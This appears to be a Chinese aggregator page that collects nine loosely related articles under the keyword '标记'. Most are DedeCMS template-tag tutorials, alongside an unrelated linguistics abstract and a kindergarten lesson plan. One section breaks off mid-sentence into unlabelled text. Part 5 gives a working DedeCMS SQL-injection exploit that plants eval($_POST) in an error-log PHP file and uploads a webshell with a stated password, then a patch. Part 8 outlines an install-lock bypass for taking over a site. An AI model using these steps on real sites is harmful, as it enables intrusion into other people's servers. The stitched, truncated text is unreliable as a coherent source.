“糊花椒plus”为你分享9篇“dedecms标记简介”,经本站小编整理后发布,但愿对你的工作、学习、生活带来方便。
篇1:dedecms标记简介
了解DedeCms的模板代码之前,了解一下织梦模板引擎的知识是非常有意义的,织梦模板引擎是一种使用XML名字空间形式的模板解析器,使用织梦解析器解析模板的最大好处是可以轻松的制定标记的属性,感觉上就像在用HTML一样,使模板代码十分直观灵活,新版的织梦模板引擎不单能实现模板的解析还能分析模板里错误的标记。
1、织梦模板引擎的代码样式有如下几种形式:
{dede:标记名称 属性='值'/}
{dede:标记名称 属性='值'}{/dede:标记名称}
{dede:标记名称 属性='值'}自定义样式模板(InnerText){/dede:标记名称}
提示:
如果使用带底层模板的标记,必须严格用{dede:标记名称 属性='值'}{/dede:标记名称} 这种格式,否则会报错。
2、织梦模板引擎内置有多个系统标记,这些系统标记在任何场合都是能直接使用的。
(1) global标记,表示获取一个外部变量,除了数据库密码之外,能调用系统的任何配置参数,形式为:
{dede:global name='变量名称'}{/dede:global}
或
{dede:global name='变量名称'/}
其中变量名称不能加 $ 符号,如变量 $cfg_cmspath ,应该写成 {dede:global name='cfg_cmspath'/} 。
(2) foreach用来输出一个数组,形式为:
{dede:foreach array='数组名称'}[field:key/] [field:value/]{/dede:foreach}
(3) include引入一个文件,形式为:
{dede:include file='文件名称' ismake='是否为dede板块模板(yes/no)'/}
对文件的搜索路径为顺序为:绝对路径、include文件夹,CMS安装目录,CMS主模板目录
3、织梦标记允许在任何标记中使用函数对得到的值进行处理,形式为:
{dede:标记名称 属性='值' function='youfunction(“参数一”,“参数二”,“@me”)'/}
其中 @me 用于表示当前标记的值,其它参数由你的函数决定是否存在,例如:
{dede:field name='pubdate' function='strftime(“%Y-%m-%d %H:%M:%S”,“@me”)'/}
4、织梦标记允许有限的编程扩展,
电脑资料
格式为:
{dede:tagname runphp='yes'}
$aaa = @me;
@me = “123456”;
{/dede:tagname}
@me 表示这个标记本身的值,因此标记内编程是不能使用echo之类的语句的,只能把所有返回值传递给@me。
此外由于程序代码占用了底层模板InnerText的内容,因此需编程的标记只能使用默认的InnerText。
篇2:DEDECMS时间格式
1.时间格式
{dede:field name='pubdate' function='strftime(“%Y年%m月%d日 %H:%M:%S”,“@me”)' /}1月1日 18:30:02
{dede:field name='pubdate' function='strftime(“%Y-%m-%d %H:%M:%S”,“@me”)' /}-1-1 18:30:02
{dede:field name='pubdate' function='strftime(“%Y年%m月%d日 %H时%M分%S秒”,“@me”)' /}201月1日 18时30分02秒
{dede:field name='pubdate' function='strftime(“%m-%d %H:%M:%S”,“@me”)' /}1-1 18:30:02
{dede:field name='pubdate' function='strftime(“%m-%d”,“@me”)' /}1-1
%Y-年
%m-月
%d-日
%H-小时
%M-分
%S-秒
2.24小时内的时间显示红色..
[field:pubdate runphp='yes']
$a=“”;
$b=“”;
$c=strftime(“%Y年%m月%d日 %H:%M:%S”,“@me”);
$ntime = time;
$oneday = 3600 * 24;
if(($ntime - @me)<$oneday) @me = $a.$c.$b;
else @me =$c;
[/field:pubdate]
3.最后更新时间
最后更新时间:{dede:tagname runphp='yes'}@me = date(“Y-m-d H:i:s”, time());{/dede:tagname}
4.XX天前
[field:pubdate runphp='yes']
$today = Floor(time()/(3600 * 24));
$senday= Floor(@me/(3600 * 24));
$updays = $today-$senday;
if($updays==0) @me = “今日”;
else @me = $updays.“天前”;
[/field:pubdate]
篇3:织梦dedecms文章简介摘要字数的设置方法
这篇文章主要介绍了织梦dedecms文章简介摘要字数的设置方法,需要的朋友可以参考下
在Dedecms系统中,文章摘要(能够经过infolen或description相关标签调用)被设置了字数上限为250字符,设置上限的主要目的是减少数据库的冗余,保证网站良好的性能,因而,假如对简介内容不设置上限显然不合理,但是假如能够自在控制这一上限,那么将对网页内容布局带来积极作用。在网页设计过程中,常常需求在频道列表页面调用到文章摘要,假如能够有效控制文章摘要的字数,那么就能够使得页面规划很灵敏。
在Dedecms中,在列表页调用文章摘要的办法主要有:
代码如下:1:[field:info /]
2:[field:description /]
3:[field:info function=”cn_substr(@me,字符数)”/]
4:[field:description function=”cn_substr(@me,字符数)”/]
第 1、2种办法是直接调用文章摘要,在调用的字数问题上,当运用[field:info /]时,能够在{dede:arclist infolen=’ ‘ }{/dede:arclist}中,设置调用摘要的字符数(最高可设置为系统设置的250);假如运用[field:description /],则直接运用后台设置的摘要字符上限。显然,这两种方式都很被动,灵敏性太差。
第3、4种办法经过function函数完成了对文章摘要显现字符的灵敏调整。当然,在没有修正文章摘要内容字符上限时,这4个办法的差别并不大。但是,下面我们来说如何修正这一上限值,就能够表现出 [field:description function=”cn_substr(@me,字符数)”/]这一方式的重要性。
在Dedecms中,与文章摘要相关的php文件主要有:
代码如下:/dede/archives_add.php
/dede/archives_edit.php
/dede/article_add.php
/dede/article_edit.php
/dede/article_description_main.php
在 add页面,有一句话是:“$description = cn_substrR($description,$cfg_auot_description); ”,这句话完成了[field:description function=”cn_substr(@me,字符数)”/]这一功用,
由于这一语句的确有利于页面规划,因而我们在实验中没有修正。
在edit页面,有一句话是:“$description = cn_substrR($description,250); ”,这句话中呈现了一个熟习的字符数“250”,这就是系统设置的文章摘要字符数的上限值。 假如是gbk编码则显现出来的就是125个字。假如是utf-8编码则是81个字。显然,我们要打破文章摘要字符数上限,肯定得拿它开刀了。是的,这里修改“250”为其他值即可,例如“500”。这里不引荐设置得过高,一个是在列表页没必要展现太多内容(展现太多内容不如直接用body了),另一个是避免数据库产生冗余。
完成上面的修正还不够,还需求修正article_description_main.php
在 article_description_main.php页面,找到“if($dsize>250) $dsize = 250;”语句,这里限制了在后台自动获取摘要的字符数。把这里的“250”修正为“500”即可,也就是和之前修正的字符数分歧即可。(假如你确认你的每一条文章都是手动添加,手动完成摘要获取就不需求修正这个文件了。自动摘要获取主要还是给大量文章和采集准备的。)
最后,登录后台,在系统-系统根本参数-其它选项中,自动摘要长度,改成500即可,也就是和之前修正的字符数分歧即可。
完成上述修正后,我们再到频道列表页,经过标签调用即可,示例标签如下:
代码如下:{dede:list typeid=” row=’5′ titlelen=’100′ rderby=’new’ pagesize=’5′}
[field:title/]
[field:description function=’cn_substr(@me,500)’/]…
{/dede:list}
篇4:浅析标记理论
浅析标记理论
始创于20世纪30年代的标记理论是语言学中的一个重要的理论,最初由布拉格语言学派提出,其核心是标记概念.然而,各个语言学流派对标记理论的定义也各不相同.本文就标记理论的'涵义与标记确定的标准作了初步的探讨.
作 者:范晓筠 作者单位:河南师范大学外国语学院 刊 名:科技信息(学术版) 英文刊名:SCIENCE & TECHNOLOGY INFORMATION 年,卷(期): “”(36) 分类号:H0 关键词:标记理论 有标记 无标记 标准篇5:dedecms注入漏洞
dedecms5.3和5.5系列版本存在重大注入漏洞,
作者:张恒
假设域名是:www.abc.com攻击步骤如下:
1.访问网址:
www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
2.访问 www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了.
int(3) Error: Illegal double ’1024e1024’ value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
3.执行压缩包里的文件test.html,注意form中action 的地址是:
按确定后的看到第2步骤的信息表示文件木马上传成功.
木马网址:www.abc.com/data/a.php
密码:888
漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞.
解决方案:
打开文件include/dedesql.class.php
找到代码
@fwrite($fp, ’<’’.’?php’.“/*{$savemsg}*/?”.“>”);
替换代码
@fwrite($fp, ’<’.’?php’.“exit;/*{$savemsg}*/?”.“>”);
清空 data/mysql_error_trace.php 文件内容
篇6:dedecms默认概述
DedeCMS系统的模板是非固定的,用户可以在新建栏目时可以自行选择栏目模板,官方仅提供最基本的默认模板,即是内置系统模型的各个模板,由于 DedeCMS支持自定义频道模型,用户自定义新频道模型后,还需要按该模型的字段设计一套新的模板,此外,DedeCMS也支持使用风格的形式使用模板,默认风格是default,它表示系统默认使用{cmspath}/templets/default 这个文件夹的模板,如果你下载了一套新的模板,你可以不必要删除default 原有的文件,把下载的模板文件夹命名你想要的风格名称,如style2 等,然后在后台修改了默认的模板风格名称为style2 ,那系统将使用{cmspath}/templets/style2 这文件当作默认模板,但是若你手工指定了栏目模板的位置,则后台参数风格的定义无效,
一、概念,设计和使用模板,必须要理解下面几个概念
1、板块(封面)模板:
指网站主页或比较重要的栏目封面频道使用的模板,一般用“index_识别ID.htm”命名,此外,用户单独定义的单个页面或自定义标记,也可选是否支持板块模板标记,如果支持,系统会用板块模板标记引擎去解析后才输出内容或生成特定的文件。
2、列表模板:
指网站某个栏目的所有文章列表的模板,一般用“list_识别ID.htm” 命名。
3、档案模板:
表示文档查看页的模板,如文章模板,一般用“article_识别ID.htm” 命名。
4、其它模板:
一般系统常规包含的模板有:主页模板、搜索模板、RSS、JS编译功能模板等,此外用户也可以自定义一个模板创建为任意文件。
二、命名,DedeCMS模板默认命名规则如下
1、模板保存位置:
模板目录:{cmspath} /templets/样式名称(英文,默认为default,其中system为系统底层模板,plus为插件使用的模板)/具体功能模板文件}
2、模板文件命名规范:
(1)index_识别ID.htm: 表示板块(栏目封面)模板;
(2)list_识别ID.htm: 表示栏目列表模板;
(3)article_识别ID.htm: 表示内容查看页(文档模板,包括
第二,搭建好网站,把保存的文件都放到网站中,用网址访问,观察是否正常
显示,是否缺少文件、
第三,安装好织梦,
把保存文件对应的放在织梦的模板目录中。对应设置好仿站的
页面以及CSS及其图片目录。
第四,填写标签。把保存的HTML代码里面的文章代码用织梦标签替换。重新生成织梦
文档。观察代码显示是否正常。
第五,全局测试,观察是否代码都显示出来,文件对应是否完整。
篇8:DEDECMS 另类入侵
摘自零客网安 作者yike2
本地试过...可行...
直接在DEDE根目录后面接/install/index.php会发现出现以下提示:
你已经安装过该系统,如果想重新安装,请先删除install目录的 install.lock 文件,然后再次运行该程序
直接在后面加step=2如:
install/index.php?step=2 直接跳过,
DEDECMS 另类入侵
,
数据库设定填写上远程的其他的数据库。这样就ok了。安装后就可以成功登入了。
使用/dede/file_manage_main.php
功能很强大。。
可以达到我们入侵的目的
手头没有远程开放的mysql数据库.所以未测试..
给大家提供一个思路...
篇9:《选标记》教案
目标:
1、认识自己的物品标记,能用对应的方法找到存放自己物品的位置。
2、能区分自己与别人的物品,知道要用自己的杯子喝水,用自己的毛巾擦手,使用自己的杂物箱。
准备:
1、实物图标若干张
2、活动前已让幼儿选择过自己喜爱的图标(一套图标有数张相同的),教师在其中一张上写好幼儿的姓名,将该套图标中剩下的几张分别贴到茶杯橱、毛巾架、杂物箱等处。
过程:
1、认标记。
出示插有实物标记的纸板,让幼儿回忆自己选择的标记,并在纸板上指认出来。教师核对标记上的姓名,说对的就让幼儿将标记取走,说错的,教师可给予一定的提示,如某幼儿选择的应是小兔,教师可提示说:你选的是一种长耳朵、短尾巴,一跳一跳走路的小动物。
2、明确生活用品使用规则。
告诉幼儿,在幼儿园里每个人都要使用自己的一套生活用品:茶杯、毛巾、小床、柜子等。并说明每一个小朋友只准用自己的用品。
3、寻找自己的生活用品。
教师让幼儿手持标记自由走动,去对应茶杯橱、毛巾架、柜子等处的相同标记,找到属于自己的生活用品所在位置后,再将手上的标记还给老师。
在活动中,教师可提醒幼儿看看自己的标记旁边是哪些图标,丰富幼儿表述方位的词汇和语句。如:我的标记旁边是小鸭子标记,上面是小汽车标记等。
★ Wordpress多站点buddypress首页调用全站文章新方法
★ DedeCms5.5修改“Dedecms提示信息”的最详细解决方法
【dedecms标记简介(精选9篇)】相关文章:
DEDECMS友情链接插件使用说明2022-04-29
DeDeCMS批量修改文章动态发布,生成静态2023-08-26
dedecms数据库文章、标题、和正文内容批量替换2022-10-15
dedecms 调用解析最简代码2023-02-02
DEDECMS教程:实现键盘翻页效果2022-11-14
星光贴吧1.3 后台拿SHELL及修复方案漏洞预警2022-05-31
短信广告内容范文2023-06-03
第一时间主持词2022-05-06
对PHP的CMS程序的一些建议和看法2022-09-17
高中英语作文万能句子2023-02-26